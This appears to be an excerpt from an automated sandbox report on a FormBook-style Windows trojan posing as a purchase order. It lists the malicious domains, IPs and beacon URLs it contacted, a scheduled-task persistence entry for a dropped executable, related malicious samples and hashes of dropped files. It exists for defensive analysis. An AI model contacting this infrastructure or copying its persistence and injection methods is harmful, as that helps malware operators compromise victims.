http://www.alvinsd.buzz/d43q/?fvqp6=9vfXK&LRW=qOy9fp5Cl0yUgYAEczO7dyJ+bxzOsQOuCHBFuR5y1LF4o9syCZkEzLGi7aZXV+ZbwDd0E0+zyiVRHPLTItQK1mi6x0nkeaPePZztRgCxUMm7wu9eAI3Dzhs=	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.shipincheshi.today	154.23.176.197	true	true	unknown
www.17jkgl.com	38.6.78.235	true	true	unknown
dojodigitize.shop	15.197.142.173	true	true	unknown
www.alvinsd.buzz	139.162.181.76	true	true	unknown
www.elinor.club	194.58.112.174	true	true	unknown
www.dojodigitize.shop	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.17jkgl.com/yjgs/?LRW=5PllmvK0caJhA9qO+og5+P8kc5JWR+uQLy91XhuloCAo6K0czluNggt7J8fRT5aF3DbStYNhlgg+eys4IUnD8eH0N6/eozV0E04Jm3Q8YYXSei9vmTSoi+w=&fvqp6=9vfXK	true	Avira URL Cloud: safe	unknown
http://www.elinor.club/7plr/	true	Avira URL Cloud: safe	unknown
http://www.shipincheshi.today/b20s/?LRW=tVBfi4VbWyAR4A6JwX/2lnpR3RCqqMOz/iPk8q4RNy1B2px1ZjxG3cjS/n2u+as/M6yp5i3EDz3+5965KIAUeXyPV8KfzAH0F+33TTK6hNoSGlASxdt3tI0=&fvqp6=9vfXK	true	Avira URL Cloud: safe	unknown
http://www.17jkgl.com/yjgs/	true	Avira URL Cloud: safe	unknown
http://www.shipincheshi.today/b20s/	true	Avira URL Cloud: safe	unknown
http://www.elinor.club/7plr/?fvqp6=9vfXK&LRW=r9AVpTZFPDO8VTu/ciknjINDVEp/PvrjGtBP7U8RvBiODJ3oM2lL+vM7NE/eWH/lfB0APMSfRaR1rRBz2uUzJ3oOd5olZUFD7UQvVw3JpX4K8u0SeOs3hkY=	true	Avira URL Cloud: safe	unknown
http://www.dojodigitize.shop/3acc/?LRW=skYxN//30ryIi85Wi0QpETYUbcdPFuXI+97QewxhrY3NM2hqn6Sq2BPHPiKxfL80eN+v/gcRWuFAYeqrMVkPGGlMHJiH0BFPFC9u+m//81WV26UqMu5nMks=&fvqp6=9vfXK	true	Avira URL Cloud: safe	unknown
http://www.alvinsd.buzz/d43q/	true	Avira URL Cloud: safe	unknown
http://www.alvinsd.buzz/d43q/?fvqp6=9vfXK&LRW=qOy9fp5Cl0yUgYAEczO7dyJ+bxzOsQOuCHBFuR5y1LF4o9syCZkEzLGi7aZXV+ZbwDd0E0+zyiVRHPLTItQK1mi6x0nkeaPePZztRgCxUMm7wu9eAI3Dzhs=	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	runas.exe, 00000012.00000003.2260056368.00000000074AE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designersG	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	runas.exe, 00000012.00000003.2260056368.00000000074AE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.tiro.com	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	runas.exe, 00000012.00000003.2260056368.00000000074AE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.com	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.typography.netD	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com	runas.exe, 00000012.00000002.2943817151.00000000051E8000.00000004.10000000.00040000.00000000.sdmp, runas.exe, 00000012.00000002.2945609383.0000000007200000.00000004.00000800.00020000.00000000.sdmp, nhClcdOjQwJ.exe, 00000013.00000002.2943382450.0000000003558000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.elinor.club	nhClcdOjQwJ.exe, 00000013.00000002.2944930407.0000000005308000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812739466.000000000607A000.00000004.00000020.00020000.00000000.sdmp, Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	runas.exe, 00000012.00000003.2260056368.00000000074AE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/DPlease	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fonts.com	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.urwpp.deDPlease	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cn	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1805442128.0000000002EDA000.00000004.00000800.00020000.00000000.sdmp, STiokuWkiGFJ.exe, 00000009.00000002.1994696296.000000000274A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	runas.exe, 00000012.00000003.2260056368.00000000074AE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	runas.exe, 00000012.00000003.2260056368.00000000074AE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://elinor.club/7plr/?fvqp6=9vfXK&LRW=r9AVpTZFPDO8VTu/ciknjINDVEp/PvrjGtBP7U8RvBiODJ3oM2lL	runas.exe, 00000012.00000002.2943817151.000000000550C000.00000004.10000000.00040000.00000000.sdmp, nhClcdOjQwJ.exe, 00000013.00000002.2943382450.000000000387C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	runas.exe, 00000012.00000003.2260056368.00000000074AE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	Pre Alert PO TVKJEANSA00967.bat.exe, STiokuWkiGFJ.exe.0.dr	false		high
http://www.carterandcone.coml	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	runas.exe, 00000012.00000003.2260056368.00000000074AE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-user.html	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.thinkphp.cn	runas.exe, 00000012.00000002.2943817151.000000000537A000.00000004.10000000.00040000.00000000.sdmp, nhClcdOjQwJ.exe, 00000013.00000002.2943382450.00000000036EA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers8	Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	runas.exe, 00000012.00000003.2260056368.00000000074AE000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
38.6.78.235	www.17jkgl.com	United States	174	COGENT-174US	true
15.197.142.173	dojodigitize.shop	United States	7430	TANDEMUS	true
194.58.112.174	www.elinor.club	Russian Federation	197695	AS-REGRU	true
154.23.176.197	www.shipincheshi.today	United States	174	COGENT-174US	true
139.162.181.76	www.alvinsd.buzz	Netherlands	63949	LINODE-APLinodeLLCUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1563935
Start date and time:	2024-11-27 16:41:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Pre Alert PO TVKJEANSA00967.bat.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@23/16@5/5
EGA Information:	Successful, ratio: 83.3%
HCA Information:	Successful, ratio: 92% Number of executed functions: 105 Number of non-executed functions: 303
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Pre Alert PO TVKJEANSA00967.bat.exe

Simulations

Behavior and APIs

Time	Type	Description
10:42:27	API Interceptor	2x Sleep call for process: Pre Alert PO TVKJEANSA00967.bat.exe modified
10:42:35	API Interceptor	43x Sleep call for process: powershell.exe modified
10:42:39	API Interceptor	2x Sleep call for process: STiokuWkiGFJ.exe modified
10:43:40	API Interceptor	1512247x Sleep call for process: runas.exe modified
15:42:36	Task Scheduler	Run new task: STiokuWkiGFJ path: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
15.197.142.173	firmware.armv5l.elf	Get hash	malicious	Unknown	Browse	15.197.142.173/
	7qBBKk0P4l.exe	Get hash	malicious	Unknown	Browse	womanbelieve.net/index.php
	mtuXDnH1Di.exe	Get hash	malicious	Unknown	Browse	womanbelieve.net/index.php
	7qBBKk0P4l.exe	Get hash	malicious	Unknown	Browse	womanbelieve.net/index.php
	mtuXDnH1Di.exe	Get hash	malicious	Unknown	Browse	womanbelieve.net/index.php
	vzPAucRnt7.exe	Get hash	malicious	Unknown	Browse	womanbelieve.net/index.php
	vzPAucRnt7.exe	Get hash	malicious	Unknown	Browse	womanbelieve.net/index.php
	http://www.acproyectosdeingenieria.com	Get hash	malicious	Unknown	Browse	www.acproyectosdeingenieria.com/
	http://www.acproyectosdeingenieria.com	Get hash	malicious	Unknown	Browse	www.acproyectosdeingenieria.com/
	FSW510972H6P0.exe	Get hash	malicious	FormBook, DBatLoader	Browse	www.marillyaffewedding.com/de94/
194.58.112.174	CV Lic H&S Olivetti Renzo.exe	Get hash	malicious	FormBook	Browse	www.sklad-iq.online/gdvz/
	CV Lic H&S Olivetti Renzo.exe	Get hash	malicious	FormBook	Browse	www.sklad-iq.online/gdvz/
	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	www.sklad-iq.online/j4lg/
	PO AT-5228.exe	Get hash	malicious	FormBook	Browse	www.marketplacer.top/xprp/
	shipping doc_20241111.exe	Get hash	malicious	FormBook	Browse	www.marketplacer.top/xprp/
	SHIPPING DOC_20241107.exe	Get hash	malicious	FormBook	Browse	www.marketplacer.top/xprp/
	BkZqIS5vlv.exe	Get hash	malicious	FormBook	Browse	www.lichnyyrost.online/5xjb/
	NIlfETZ9aE.exe	Get hash	malicious	FormBook	Browse	www.lichnyyrost.online/5xjb/
	En88bvC0fc.exe	Get hash	malicious	FormBook	Browse	www.solutioncode.online/yxqw/
	Quote_General_Tech_LLC_637673,PDF.exe	Get hash	malicious	FormBook	Browse	www.cpamerix.online/gl7x/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-REGRU	DO-COSU6387686280.pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	37.140.192.206
	Fi#U015f.exe	Get hash	malicious	FormBook	Browse	31.31.196.177
	ZAMOWIEN.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	31.31.196.177
	CV Lic H&S Olivetti Renzo.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	VSP469620.exe	Get hash	malicious	FormBook	Browse	31.31.196.177
	CV Lic H&S Olivetti Renzo.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	Payroll List.exe	Get hash	malicious	FormBook	Browse	31.31.196.17
	HXpVpoC9cr.exe	Get hash	malicious	FormBook	Browse	31.31.198.145
	Delivery_Notification_00000207899.doc.js	Get hash	malicious	Unknown	Browse	194.58.112.173
	F8TXbAdG3G.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	195.133.18.88
COGENT-174US	pjyhwsdgkl.elf	Get hash	malicious	Unknown	Browse	38.216.7.11
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	38.189.106.204
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	38.251.250.69
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	38.88.81.215
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	38.225.22.135
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	38.221.96.77
	ppc.elf	Get hash	malicious	Mirai	Browse	38.127.150.181
	sh4.elf	Get hash	malicious	Mirai	Browse	38.41.47.100
	arm5.elf	Get hash	malicious	Mirai	Browse	38.83.47.2
	https://www.filemail.com/t/YJycry3G	Get hash	malicious	Unknown	Browse	50.7.224.146
TANDEMUS	PAYMENT_TO_NFTC_(CUB)_26-11-24.doc	Get hash	malicious	DarkTortilla, FormBook	Browse	15.197.148.33
	https://www.gogetsy.com/downloads/eyJmaWxlX2lkIjoiMTIwMDY1NzY3MjE3NSIsInRyYW5zYWN0aW9uX2lkIjoiMzgyNDQ4NTYwOSIsImV2ZW50IjoiZG93bmxvYWQiLCJub25jZSI6IjY3M2NlODI0MTU2ZGQ2NzNjZTgyNDE1NmRmNjczY2U4MjQxNTZlMDY3M2NlODI0MTU2ZTEiLCJ0aW1lc3RhbXAiOjE3MzIwNDQ4MzZ9/0ff3c9f2d9eae28f5e9880589ecb55882049889393d1e096fca15f339c17e418	Get hash	malicious	Unknown	Browse	15.197.193.217
	nabm68k.elf	Get hash	malicious	Unknown	Browse	15.243.152.43
	arm5.elf	Get hash	malicious	Unknown	Browse	15.210.44.128
	https://soloist.ai/proposalrequest-14	Get hash	malicious	HTMLPhisher	Browse	15.197.167.90
	la.bot.arm6.elf	Get hash	malicious	Unknown	Browse	15.202.12.252
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	15.194.171.10
	file.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	15.197.142.173
	https://safelinks.mygo1.com/ls/click?upn=u001.1mDt7ytPYCJSVG-2BhF04Stdj4cHPTtKuY-2FmURzzu8QTldxw-2FzpyQYTJMxn3CPFnnsIuOY-2F5ruiOS6FLjm58JljkOmonXKnT8iwwYmA30I9bsERP5vx05gL85c3Lc-2F9WrpUfyNz12kcqjd3wt6WtaxLWxoHc5J3Zua9xQUurCc2AIjJtnP8Xu6Otzn8DBWsS0QPl2WC-2FCyrpDHulFvP0eEWn9IDo-2BqFc1GmD1SsVw5lRKY6yWeuyFQhUWIqZ4VCAeEroA6Ndqh9iaNvFz0XzERrEFYNTxkPirSQWkw6YqX5uo-3DaVWv_h5yw3DykLZfOpXzx776oAcLdVv6tuK-2FE7nfoR01CbnMOUH4fGhxn3KVtBew-2BRfJoKGgpvyhjBTXBTw1J6hN0wi-2FkZpowy1W9-2BTe-2Bf57Ts50FCXINRnefXkQ-2FFO3hKPeSa4hJKnd-2Bpj-2F7GS6r3Uq0ucRRb6izhExkinWfndIosIP-2Ff06hq3eO6ged-2F-2FYA1ldX-2BK4wuZipA-2BXRgTIkXvTbKj74iEMllOxCNkgoQZE3mKkIMM6o0L-2FNgq5TR8KcWZzS-2BEoZ1Oyop5AmC8zRE1SSKfnZ-2F0g1qg2dir-2F788Fq8CtpqmRpkFaF34nQcSYSfbixDSj0B5gj0fuY43UiPKR2D9s0w8lZaDR5dDYOswzPttauCIiIjiyfK20I-2BA4JjKFg	Get hash	malicious	Unknown	Browse	15.197.143.135
	Delivery_Notification_00000875664.doc.js	Get hash	malicious	Unknown	Browse	15.197.240.20

Process:	C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\STiokuWkiGFJ.exe.log

Process:	C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379460230152629
Encrypted:	false
SSDEEP:	48:fWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMugei/ZPUyus:fLHyIFKL3IZ2KRH9Ougss
MD5:	13A0210EC58120EB2CD3445DB5AA3776
SHA1:	3F4A3CC558C2298A0A4A5550005867DA4CE17040
SHA-256:	8668682A9DF285C90FBF4AF490B8569E4261A3934650B51A659A229C80F6F391
SHA-512:	35B241B4A5E13ECF18A6E45A5AD8B34EDCDBBBBF6235A200C1FB346A66626161D96578B361044AD0AFB221502C0D2F1A25633D53B76BAD2DD67BE2F91C91463C
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\06-AG764

Process:	C:\Windows\SysWOW64\runas.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3fjb4qrp.sew.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cgqhvprq.xog.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_duxkiey1.q2r.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jwatpfkq.kkl.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
